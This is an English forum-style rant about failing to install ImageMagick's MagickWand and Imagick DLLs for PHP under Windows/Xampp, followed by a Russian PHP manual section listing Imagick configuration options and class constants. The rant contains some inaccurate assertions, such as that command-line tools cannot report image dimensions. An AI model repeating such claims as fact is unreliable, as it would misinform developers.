In the old discussion boards I read that some years ago there was a DLL for PHP available on the FTP server of imagemagick.org. Once upon a time there has also been a CHM installation help file on FTP which also has been removed. The only thing you find today on the FTP server is a ridiculous text file:
ftp://ftp.imagemagick.org/pub/ImageMagick/php/windows/README.txt
This file contains 3 links:
2 links of them are dead meanwhile.
The only working one is this:
www.dirk.sh/dirk/magickwand
a page of a chinese guy who offers a MagickWand.dll for PHP of 4 MB size (Q8, static compiled)
But he discontinoued support since 2007.
There is no installation manual available.

He only writes:
"Please ref watson's post about how to install on Windows:
redux.imagemagick.org/discourse-server/viewtopic.php?t=4708"

This page which uses stupid style sheet settings like "font-size:11%" which make parts of the text unreadable also was no help.

At the end all manuals say the same:
Copy the DLL into the "ext" folder and add the entry to the php.ini:
extension=dllname
restart the Apache and you are done.

But this is not true: it simply does NOT work on Xampp.
In a DOS box entering
PHP.exe -i > Info.txt
prints all installed modules.
You also find:

"magickwand
MagickWand Backend Library => ImageMagick
MagickWand Extension Version => 1.0.5
ImageMagick support => enabled
ImageMagick version => ImageMagick 6.3.5 09/21/07 Q8 www.imagemagick.org
ImageMagick QuantumRange (MaxRGB) => 255
MagickWand supported image formats => A, ART, AVI, AVS, B, BIE, BMP, BMP2, BMP3, etc.."

But after executing phpinfo() MagickWand does NOT appear under the installed extensions. Strange!!
And the Wand commands do NOT function like:
$resource = NewMagickWand();

I also found a php_imagick.dll of 65 kB size in the internet which also does not work. It does not even appear in
PHP -i.

There is no error in the Apache logfile!

I read all I could find in the internet and wasted 2 entire days, without success, now I'm sick of Imagick and I absolutely cannot understand why the guys of imagemagick.org don't offer a ready compiled dll with an installation manual anymore?

In general the Imagick page seems not very trustworthy:
On the download page they do never explain what is the difference between the several versions. What doess static mean?
They never explain. (Static means that the convert.exe does not depend on so many dlls. It only requires one external DLL, for that it has a size of 5 MB instead of 200 kb)
And the explanation about the difference between Q8 and Q16 version is wrong: Q8 does NOT mean 8 Bits per pixel as the download page says. It means 8 Bit per color = 24 Bit per Pixel)

And I found an ugly misdesign:
If you install the Q8 version on your local PC and want to copy the files from your harddisk to the server, then convert.exe will crash!
Convert.exe depends on a Registry Entry. And if this is missing (on a server where you have not full access) it will crash. The strangest thing is that this registry key can contain any nonsense, it only must exist! How stupid!

So if you want to execute as an alternative the commandline tools like convert.exe from your PHP code you must add this Registry entries to the server:
HKEY_LOCAL_MACHINE\SOFTWARE\ImageMagick\6.5.1\Q:8\ConfigurePath
The value can be anything.

But with the commandline tools you cannot obtain the width and height of an image in your PHP code. This is not possible.


Настройка во время выполнения

Поведение этих функций зависит от установок в php.ini.

Конфигурационные опции Imagick
Имя | По умолчанию | Место изменения | Список изменений
imagick.locale_fix | false | PHP_INI_ALL | Доступно начиная с Imagick 2.1.0
imagick.progress_monitor | false | PHP_INI_SYSTEM | Доступно начиная с Imagick 2.2.2
imagick.skip_version_check | false | PHP_INI_SYSTEM | Доступно с Imagick 3.3.0
Для подробного описания констант PHP_INI_*, обратитесь к разделу Где могут быть установлены параметры конфигурации.

Краткое разъяснение конфигурационных директив.

imagick.locale_fix bool

Исправление ошибки рисования с локалью, используя ',' в качестве разделителя.

imagick.progress_monitor bool

Используется для включения мониторинга прогресса.

imagick.skip_version_check bool

Когда Imagic загружен, он проверяет, что версия ImageMagick, с которой он был скомпилирован, совпадает с текущей используемой версией и, если не совпадает, выводит предупреждение.Это предупреждение можно подавить, установив данный параметр.

Использовать Imagic с версией ImageMagick отличной от той, с которой он был скомпилирован, не рекомендуется. Он может работать, а может завершаться аварийно, либо вести себя непредсказуемо.

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Перечисленные ниже константы определены данным модулем и доступны либо в сборках PHP с поддержкой этого модуля, либо когда модуль динамически загружен во время выполнения.

Константы COLOR_*

Константы цветовых типов. Эти константы используются в основном с ImagickPixel.

imagick::COLOR_BLACK (int)
Чёрный
imagick::COLOR_BLUE (int)
Синий
imagick::COLOR_CYAN (int)
Сине-зелёный
imagick::COLOR_GREEN (int)
Зелёный
imagick::COLOR_RED (int)
Красный
imagick::COLOR_YELLOW (int)
Жёлтый
imagick::COLOR_MAGENTA (int)
Пурпурный
imagick::COLOR_OPACITY (int)
Прозрачность цвета
imagick::COLOR_ALPHA (int)
Альфа-канал для цвета
imagick::COLOR_FUZZ (int)
'Fuzz factor' для цвета. Смотрите документацию по ImageMagick.
DISPOSE константы

Константы расположения

imagick::DISPOSE_UNRECOGNIZED (int)
Не распознан
imagick::DISPOSE_UNDEFINED (int)
Не задан
imagick::DISPOSE_NONE (int)
Нет расположения
imagick::DISPOSE_BACKGROUND (int)
Фон
imagick::DISPOSE_PREVIOUS (int)
Предыдущее
Константы оператора наложения
imagick::COMPOSITE_DEFAULT (int)
Оператор наложения по умолчанию
imagick::COMPOSITE_UNDEFINED (int)
Неопределённый оператор наложения
imagick::COMPOSITE_NO (int)
Не установленный оператор наложения
imagick::COMPOSITE_ADD (int)
Результатом будет изображение + изображение
imagick::COMPOSITE_ATOP (int)
Результатом будет изображение такой же формы с наложением изображения затемняя его в местах перекрытия
imagick::COMPOSITE_BLEND (int)
Смесь изображения
imagick::COMPOSITE_BUMPMAP (int)
Так же, как COMPOSITE_MULTIPLY, за исключением того, что источник сначала преобразуется в оттенки серого.
imagick::COMPOSITE_CLEAR (int)
Делает целевое изображение прозрачным
imagick::COMPOSITE_COLORBURN (int)
Затемняет конечное изображение с учётом исходного изображения
imagick::COMPOSITE_COLORDODGE (int)
Повышенная яркость конечного изображения с учётом исходного изображения
imagick::COMPOSITE_COLORIZE (int)
Раскраска целевого изображения с помощью составного изображения
imagick::COMPOSITE_COPYBLACK (int)
Копирует чёрный цвет из исходного изображения в целевое
imagick::COMPOSITE_COPYBLUE (int)
Копирует синий цвет из исходного изображения в целевое
imagick::COMPOSITE_COPY (int)
Копирует исходное изображение в целевое
imagick::COMPOSITE_COPYCYAN (int)
Копирует сине-зелёный цвет из исходного изображения в целевое
imagick::COMPOSITE_COPYGREEN (int)
Копирует зелёный цвет из исходного изображения в целевое
imagick::COMPOSITE_COPYMAGENTA (int)
Копирует пурпурный цвет из исходного изображения в целевое
imagick::COMPOSITE_COPYOPACITY (int)
Копирует прозрачность из исходного изображения в целевое
imagick::COMPOSITE_COPYRED (int)
Копирует красный цвет из исходного изображения в целевое
imagick::COMPOSITE_COPYYELLOW (int)
Копирует жёлтый цвет из исходного изображения в целевое
imagick::COMPOSITE_DARKEN (int)
Затемняет целевое изображение
imagick::COMPOSITE_DSTATOP (int)
Область назначения, которая находится внутри исходного изображения накладывается поверх исходного и заменяет назначение
imagick::COMPOSITE_DST (int)
Целевое изображение остаётся нетронутым
imagick::COMPOSITE_DSTIN (int)
Область внутри исходного изображения заменяется заданным изображением
imagick::COMPOSITE_DSTOUT (int)
Область снаружи исходного изображения заменяется заданным изображением
imagick::COMPOSITE_DSTOVER (int)
Исходное изображение заменяется заданным
imagick::COMPOSITE_DIFFERENCE (int)
Вычитание более тёмного цвета из двух составляющих
imagick::COMPOSITE_DISPLACE (int)
Смещение пикселей заданного изображения по аналогии с исходным изображением
imagick::COMPOSITE_DISSOLVE (int)
Растворение исходного изображения в заданном
imagick::COMPOSITE_EXCLUSION (int)
Создание эффекта, похожего на imagick::COMPOSITE_DIFFERENCE, но с более низким контрастом
imagick::COMPOSITE_HARDLIGHT (int)
Умножает или осветляет цвет, в зависимости от исходного значения цвета
imagick::COMPOSITE_HUE (int)
Изменение оттенка заданного изображения по аналогии с исходным изображением
imagick::COMPOSITE_IN (int)
Наложение исходного изображения на заданное
imagick::COMPOSITE_LIGHTEN (int)
Освещает заданное изображение по аналогии с исходным изображением
imagick::COMPOSITE_LUMINIZE (int)
Изменение яркости заданного изображения по аналогии с исходным изображением
imagick::COMPOSITE_MINUS (int)
Вычитает исходное изображение из заданного
imagick::COMPOSITE_MODULATE (int)
Модулирует целевые яркость, насыщенности и тон по аналогии с исходным изображением
imagick::COMPOSITE_MULTIPLY (int)
Перемножает цель и источник
imagick::COMPOSITE_OUT (int)
Наложение внешних частей источника на цель
imagick::COMPOSITE_OVER (int)
Наложение источника на цель
imagick::COMPOSITE_OVERLAY (int)
Преобразование "Overlay"
imagick::COMPOSITE_PLUS (int)
Добавляет источник к цели
imagick::COMPOSITE_REPLACE (int)
Заменяет цель источником
imagick::COMPOSITE_SATURATE (int)
Меняет насыщенность цели в соответствии с источником
imagick::COMPOSITE_SCREEN (int)
Источник и цель сначала дополняются, потом перемножаются, а потом источник заменяет цель.
imagick::COMPOSITE_SOFTLIGHT (int)
Затемняет или осветляет цвета, в зависимости от источника
imagick::COMPOSITE_SRCATOP (int)
Часть источника, лежащая внутри цели, накладывается на цель
imagick::COMPOSITE_SRC (int)
Источник копируется в цель
imagick::COMPOSITE_SRCIN (int)
Часть источника, лежащая внутри цели, заменяет цель
imagick::COMPOSITE_SRCOUT (int)
Часть источника, лежащая вне цели, заменяет цель
imagick::COMPOSITE_SRCOVER (int)
Источник заменяет цель
imagick::COMPOSITE_SUBTRACT (int)
Вычитает цвета источника из цели
imagick::COMPOSITE_THRESHOLD (int)
Источник накладывается на цель как определено порогом источника
imagick::COMPOSITE_XOR (int)
Часть источника, лежащая вне цели комбинируется с частью цели, лежащей вне источника
Константы MONTAGEMODE

imagick::MONTAGEMODE_FRAME (int)
imagick::MONTAGEMODE_UNFRAME (int)
imagick::MONTAGEMODE_CONCATENATE (int)
Константы STYLE

imagick::STYLE_NORMAL (int)
imagick::STYLE_ITALIC (int)
imagick::STYLE_OBLIQUE (int)
imagick::STYLE_ANY (int)
Константы FILTER

imagick::FILTER_UNDEFINED (int)
imagick::FILTER_POINT (int)
imagick::FILTER_BOX (int)
imagick::FILTER_TRIANGLE (int)
imagick::FILTER_HERMITE (int)
imagick::FILTER_HANNING (int)
imagick::FILTER_HAMMING (int)
imagick::FILTER_BLACKMAN (int)
imagick::FILTER_GAUSSIAN (int)
imagick::FILTER_QUADRATIC (int)
imagick::FILTER_CUBIC (int)
imagick::FILTER_CATROM (int)
imagick::FILTER_MITCHELL (int)
imagick::FILTER_LANCZOS (int)
imagick::FILTER_BESSEL (int)
imagick::FILTER_SINC (int)
Константы IMGTYPE

imagick::IMGTYPE_UNDEFINED (int)
imagick::IMGTYPE_BILEVEL (int)
imagick::IMGTYPE_GRAYSCALE (int)
imagick::IMGTYPE_GRAYSCALEMATTE (int)
imagick::IMGTYPE_PALETTE (int)
imagick::IMGTYPE_PALETTEMATTE (int)
imagick::IMGTYPE_TRUECOLOR (int)
imagick::IMGTYPE_TRUECOLORMATTE (int)
imagick::IMGTYPE_COLORSEPARATION (int)
imagick::IMGTYPE_COLORSEPARATIONMATTE (int)
imagick::IMGTYPE_OPTIMIZE (int)
Константы RESOLUTION

imagick::RESOLUTION_UNDEFINED (int)
imagick::RESOLUTION_PIXELSPERINCH (int)
imagick::RESOLUTION_PIXELSPERCENTIMETER (int)
Константы COMPRESSION

imagick::COMPRESSION_UNDEFINED (int)
imagick::COMPRESSION_NO (int)
imagick::COMPRESSION_BZIP (int)
imagick::COMPRESSION_FAX (int)
imagick::COMPRESSION_GROUP4 (int)
imagick::COMPRESSION_JPEG (int)
imagick::COMPRESSION_JPEG2000 (int)
imagick::COMPRESSION_LOSSLESSJPEG (int)
imagick::COMPRESSION_LZW (int)
imagick::COMPRESSION_RLE (int)
imagick::COMPRESSION_ZIP (int)
imagick::COMPRESSION_DXT1 (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.4.0 или выше.
imagick::COMPRESSION_DXT3 (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.4.0 или выше.
imagick::COMPRESSION_DXT5 (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.4.0 или выше.
Константы PAINT

imagick::PAINT_POINT (int)
imagick::PAINT_REPLACE (int)
imagick::PAINT_FLOODFILL (int)
imagick::PAINT_FILLTOBORDER (int)
imagick::PAINT_RESET (int)
Константы GRAVITY

imagick::GRAVITY_NORTHWEST (int)
imagick::GRAVITY_NORTH (int)
imagick::GRAVITY_NORTHEAST (int)
imagick::GRAVITY_WEST (int)
imagick::GRAVITY_CENTER (int)
imagick::GRAVITY_EAST (int)
imagick::GRAVITY_SOUTHWEST (int)
imagick::GRAVITY_SOUTH (int)
imagick::GRAVITY_SOUTHEAST (int)
Константы STRETCH

imagick::STRETCH_NORMAL (int)
imagick::STRETCH_ULTRACONDENSED (int)
imagick::STRETCH_CONDENSED (int)
imagick::STRETCH_SEMICONDENSED (int)
imagick::STRETCH_SEMIEXPANDED (int)
imagick::STRETCH_EXPANDED (int)
imagick::STRETCH_EXTRAEXPANDED (int)
imagick::STRETCH_ULTRAEXPANDED (int)
imagick::STRETCH_ANY (int)
Константы ALIGN

imagick::ALIGN_UNDEFINED (int)
imagick::ALIGN_LEFT (int)
imagick::ALIGN_CENTER (int)
imagick::ALIGN_RIGHT (int)
Константы DECORATION

imagick::DECORATION_NO (int)
imagick::DECORATION_UNDERLINE (int)
imagick::DECORATION_OVERLINE (int)
imagick::DECORATION_LINETROUGH (int)
Константы NOISE

imagick::NOISE_UNIFORM (int)
imagick::NOISE_GAUSSIAN (int)
imagick::NOISE_MULTIPLICATIVEGAUSSIAN (int)
imagick::NOISE_IMPULSE (int)
imagick::NOISE_LAPLACIAN (int)
imagick::NOISE_POISSON (int)
imagick::NOISE_RANDOM (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.3.6 или выше.
Константы CHANNEL

imagick::CHANNEL_UNDEFINED (int)
imagick::CHANNEL_RED (int)
imagick::CHANNEL_GRAY (int)
imagick::CHANNEL_CYAN (int)
imagick::CHANNEL_GREEN (int)
imagick::CHANNEL_MAGENTA (int)
imagick::CHANNEL_BLUE (int)
imagick::CHANNEL_YELLOW (int)
imagick::CHANNEL_ALPHA (int)
imagick::CHANNEL_OPACITY (int)
imagick::CHANNEL_MATTE (int)
imagick::CHANNEL_BLACK (int)
imagick::CHANNEL_INDEX (int)
imagick::CHANNEL_ALL (int)
imagick::CHANNEL_DEFAULT (int)
Константы METRIC

imagick::METRIC_UNDEFINED (int)
imagick::METRIC_MEANABSOLUTEERROR (int)
imagick::METRIC_MEANSQUAREERROR (int)
imagick::METRIC_PEAKABSOLUTEERROR (int)
imagick::METRIC_PEAKSIGNALTONOISERATIO (int)
imagick::METRIC_ROOTMEANSQUAREDERROR (int)
Константы PIXEL

imagick::PIXEL_CHAR (int)
imagick::PIXEL_DOUBLE (int)
imagick::PIXEL_FLOAT (int)
imagick::PIXEL_INTEGER (int)
Доступно только для ImageMagick < 7.
imagick::PIXEL_LONG (int)
imagick::PIXEL_QUANTUM (int)
imagick::PIXEL_SHORT (int)
Константы EVALUATE

imagick::EVALUATE_UNDEFINED (int)
imagick::EVALUATE_ADD (int)
imagick::EVALUATE_AND (int)
imagick::EVALUATE_DIVIDE (int)
imagick::EVALUATE_LEFTSHIFT (int)
imagick::EVALUATE_MAX (int)
imagick::EVALUATE_MIN (int)
imagick::EVALUATE_MULTIPLY (int)
imagick::EVALUATE_OR (int)
imagick::EVALUATE_RIGHTSHIFT (int)
imagick::EVALUATE_SET (int)
imagick::EVALUATE_SUBTRACT (int)
imagick::EVALUATE_XOR (int)
imagick::EVALUATE_POW (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.4.4 или выше.
imagick::EVALUATE_LOG (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.4.4 или выше.
imagick::EVALUATE_THRESHOLD (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.4.4 или выше.
imagick::EVALUATE_THRESHOLDBLACK (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.4.4 или выше.
imagick::EVALUATE_THRESHOLDWHITE (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.4.4 или выше.
imagick::EVALUATE_GAUSSIANNOISE (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.4.4 или выше.
imagick::EVALUATE_IMPULSENOISE (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.4.4 или выше.
imagick::EVALUATE_LAPLACIANNOISE (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.4.4 или выше.
imagick::EVALUATE_MULTIPLICATIVENOISE (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.4.4 или выше.
imagick::EVALUATE_POISSONNOISE (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.4.4 или выше.
imagick::EVALUATE_UNIFORMNOISE (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.4.4 или выше.
imagick::EVALUATE_COSINE (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.4.4 или выше.
imagick::EVALUATE_SINE (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.4.4 или выше.
imagick::EVALUATE_ADDMODULUS (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.4.4 или выше.
Константы COLORSPACE

imagick::COLORSPACE_UNDEFINED (int)
imagick::COLORSPACE_RGB (int)
imagick::COLORSPACE_GRAY (int)
imagick::COLORSPACE_TRANSPARENT (int)
imagick::COLORSPACE_OHTA (int)
imagick::COLORSPACE_LAB (int)
imagick::COLORSPACE_XYZ (int)
imagick::COLORSPACE_YCBCR (int)
imagick::COLORSPACE_YCC (int)
imagick::COLORSPACE_YIQ (int)
imagick::COLORSPACE_YPBPR (int)
imagick::COLORSPACE_YUV (int)
imagick::COLORSPACE_CMYK (int)
imagick::COLORSPACE_SRGB (int)
imagick::COLORSPACE_HSB (int)
imagick::COLORSPACE_HSL (int)
imagick::COLORSPACE_HWB (int)
imagick::COLORSPACE_REC601LUMA (int)
imagick::COLORSPACE_REC709LUMA (int)
imagick::COLORSPACE_LOG (int)
imagick::COLORSPACE_CMY (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.4.2 или выше.
Константы VIRTUALPIXELMETHOD

imagick::VIRTUALPIXELMETHOD_UNDEFINED (int)
imagick::VIRTUALPIXELMETHOD_BACKGROUND (int)
imagick::VIRTUALPIXELMETHOD_CONSTANT (int)
imagick::VIRTUALPIXELMETHOD_EDGE (int)
imagick::VIRTUALPIXELMETHOD_MIRROR (int)
imagick::VIRTUALPIXELMETHOD_TILE (int)
imagick::VIRTUALPIXELMETHOD_TRANSPARENT (int)
imagick::VIRTUALPIXELMETHOD_MASK (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.4.2 или выше.
imagick::VIRTUALPIXELMETHOD_BLACK (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.4.2 или выше.
imagick::VIRTUALPIXELMETHOD_GRAY (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.4.2 или выше.
imagick::VIRTUALPIXELMETHOD_WHITE (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.4.2 или выше.
imagick::VIRTUALPIXELMETHOD_HORIZONTALTILE (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.4.3 или выше.
imagick::VIRTUALPIXELMETHOD_VERTICALTILE (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.4.3 или выше.
Константы PREVIEW

imagick::PREVIEW_UNDEFINED (int)
imagick::PREVIEW_ROTATE (int)
imagick::PREVIEW_SHEAR (int)
imagick::PREVIEW_ROLL (int)
imagick::PREVIEW_HUE (int)
imagick::PREVIEW_SATURATION (int)
imagick::PREVIEW_BRIGHTNESS (int)
imagick::PREVIEW_GAMMA (int)
imagick::PREVIEW_SPIFF (int)
imagick::PREVIEW_DULL (int)
imagick::PREVIEW_GRAYSCALE (int)
imagick::PREVIEW_QUANTIZE (int)
imagick::PREVIEW_DESPECKLE (int)
imagick::PREVIEW_REDUCENOISE (int)
imagick::PREVIEW_ADDNOISE (int)
imagick::PREVIEW_SHARPEN (int)
imagick::PREVIEW_BLUR (int)
imagick::PREVIEW_THRESHOLD (int)
imagick::PREVIEW_EDGEDETECT (int)
imagick::PREVIEW_SPREAD (int)
imagick::PREVIEW_SOLARIZE (int)
imagick::PREVIEW_SHADE (int)
imagick::PREVIEW_RAISE (int)
imagick::PREVIEW_SEGMENT (int)
imagick::PREVIEW_SWIRL (int)
imagick::PREVIEW_IMPLODE (int)
imagick::PREVIEW_WAVE (int)
imagick::PREVIEW_OILPAINT (int)
imagick::PREVIEW_CHARCOALDRAWING (int)
imagick::PREVIEW_JPEG (int)
Константы RENDERINGINTENT

imagick::RENDERINGINTENT_UNDEFINED (int)
imagick::RENDERINGINTENT_SATURATION (int)
imagick::RENDERINGINTENT_PERCEPTUAL (int)
imagick::RENDERINGINTENT_ABSOLUTE (int)
imagick::RENDERINGINTENT_RELATIVE (int)
Константы INTERLACE

imagick::INTERLACE_UNDEFINED (int)
imagick::INTERLACE_NO (int)
imagick::INTERLACE_LINE (int)
imagick::INTERLACE_PLANE (int)
imagick::INTERLACE_PARTITION (int)
imagick::INTERLACE_GIF (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.3.4 или выше.
imagick::INTERLACE_JPEG (int)
imagick::INTERLACE_PNG (int)
Константы FILLRULE

imagick::FILLRULE_UNDEFINED (int)
imagick::FILLRULE_EVENODD (int)
imagick::FILLRULE_NONZERO (int)
Константы PATHUNITS

imagick::PATHUNITS_UNDEFINED (int)
imagick::PATHUNITS_USERSPACE (int)
imagick::PATHUNITS_USERSPACEONUSE (int)
imagick::PATHUNITS_OBJECTBOUNDINGBOX (int)
Константы LINECAP

imagick::LINECAP_UNDEFINED (int)
imagick::LINECAP_BUTT (int)
imagick::LINECAP_ROUND (int)
imagick::LINECAP_SQUARE (int)
Константы LINEJOIN

imagick::LINEJOIN_UNDEFINED (int)
imagick::LINEJOIN_MITER (int)
imagick::LINEJOIN_ROUND (int)
imagick::LINEJOIN_BEVEL (int)
Константы RESOURCETYPE

imagick::RESOURCETYPE_UNDEFINED (int)
imagick::RESOURCETYPE_AREA (int)
Определяет максимальную ширину * высоту изображения, которое может находиться в пиксеном кеше.
imagick::RESOURCETYPE_DISK (int)
Определяет максимальное количество дискового пространства в байтах, разрешённых для использования в пиксельном кеше.
imagick::RESOURCETYPE_FILE (int)
Определяет максимальное количество открытых файлов пиксельного кеша..
imagick::RESOURCETYPE_MAP (int)
Определяет максимальное количество памяти, в байтах, под пиксельный кеш.
imagick::RESOURCETYPE_MEMORY (int)
Определяет максимальное количество памяти, в байтах, под пиксельный кеш из кучи.
imagick::RESOURCETYPE_THREAD (int)
Определяет максимальное количество параллельных потоков. Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.7.8 или выше.
Константы LAYERMETHOD

imagick::LAYERMETHOD_UNDEFINED (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.2.9 или выше.
imagick::LAYERMETHOD_COALESCE (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.2.9 или выше.
imagick::LAYERMETHOD_COMPAREANY (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.2.9 или выше.
imagick::LAYERMETHOD_COMPARECLEAR (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.2.9 или выше.
imagick::LAYERMETHOD_COMPAREOVERLAY (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.2.9 или выше.
imagick::LAYERMETHOD_DISPOSE (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.2.9 или выше.
imagick::LAYERMETHOD_OPTIMIZE (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.2.9 или выше.
imagick::LAYERMETHOD_OPTIMIZEPLUS (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.2.9 или выше.
imagick::LAYERMETHOD_OPTIMIZEIMAGE (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.3.0 или выше.
imagick::LAYERMETHOD_OPTIMIZETRANS (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.3.0 или выше.
imagick::LAYERMETHOD_REMOVEDUPS (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.3.0 или выше.
imagick::LAYERMETHOD_REMOVEZERO (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.3.0 или выше.
imagick::LAYERMETHOD_COMPOSITE (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.3.0 или выше.
imagick::LAYERMETHOD_MERGE (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.3.7 или выше.
imagick::LAYERMETHOD_FLATTEN (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.3.7 или выше.
imagick::LAYERMETHOD_MOSAIC (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.3.7 или выше.
Константы ORIENTATION

imagick::ORIENTATION_UNDEFINED (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.3.0 или выше.
imagick::ORIENTATION_TOPLEFT (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.3.0 или выше.
imagick::ORIENTATION_TOPRIGHT (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.3.0 или выше.
imagick::ORIENTATION_BOTTOMRIGHT (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.3.0 или выше.
imagick::ORIENTATION_BOTTOMLEFT (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.3.0 или выше.
imagick::ORIENTATION_LEFTTOP (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.3.0 или выше.
imagick::ORIENTATION_RIGHTTOP (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.3.0 или выше.
imagick::ORIENTATION_RIGHTBOTTOM (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.3.0 или выше.
imagick::ORIENTATION_LEFTBOTTOM (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.3.0 или выше.
Константы DISTORTION

imagick::DISTORTION_UNDEFINED (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.3.6 или выше.
imagick::DISTORTION_AFFINE (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.3.6 или выше.
imagick::DISTORTION_AFFINEPROJECTION (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.3.6 или выше.
imagick::DISTORTION_ARC (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.3.6 или выше.
imagick::DISTORTION_BILINEAR (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.3.6 или выше.
imagick::DISTORTION_PERSPECTIVE (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.3.6 или выше.
imagick::DISTORTION_PERSPECTIVEPROJECTION (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.3.6 или выше.
imagick::DISTORTION_SCALEROTATETRANSLATE (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.3.6 или выше.
imagick::DISTORTION_POLYNOMIAL (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.4.6 или выше.
imagick::DISTORTION_POLAR (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.4.6 или выше.
imagick::DISTORTION_DEPOLAR (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.4.6 или выше.
imagick::DISTORTION_BARREL (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.4.6 или выше.
imagick::DISTORTION_BARRELINVERSE (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.4.6 или выше.
imagick::DISTORTION_SHEPARDS (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.4.6 или выше.
imagick::DISTORTION_SENTINEL (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.4.6 или выше.
Константы ALPHACHANNEL

imagick::ALPHACHANNEL_ACTIVATE (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.3.8 или выше.
imagick::ALPHACHANNEL_DEACTIVATE (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.3.8 или выше.
imagick::ALPHACHANNEL_RESET (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.3.8 или выше.
imagick::ALPHACHANNEL_SET (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.3.8 или выше.
imagick::ALPHACHANNEL_UNDEFINED (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.4.6 или выше.
imagick::ALPHACHANNEL_COPY (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.4.6 или выше.
imagick::ALPHACHANNEL_EXTRACT (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.4.6 или выше.
imagick::ALPHACHANNEL_OPAQUE (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.4.6 или выше.
imagick::ALPHACHANNEL_SHAPE (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.4.6 или выше.
imagick::ALPHACHANNEL_TRANSPARENT (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.4.6 или выше.
imagick::ALPHACHANNEL_BACKGROUND (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.5.3 или выше.
imagick::ALPHACHANNEL_REMOVE (int)
Эта константа доступна, если Imagick был скомпилирован с версией ImageMagick 6.7.8 или выше.
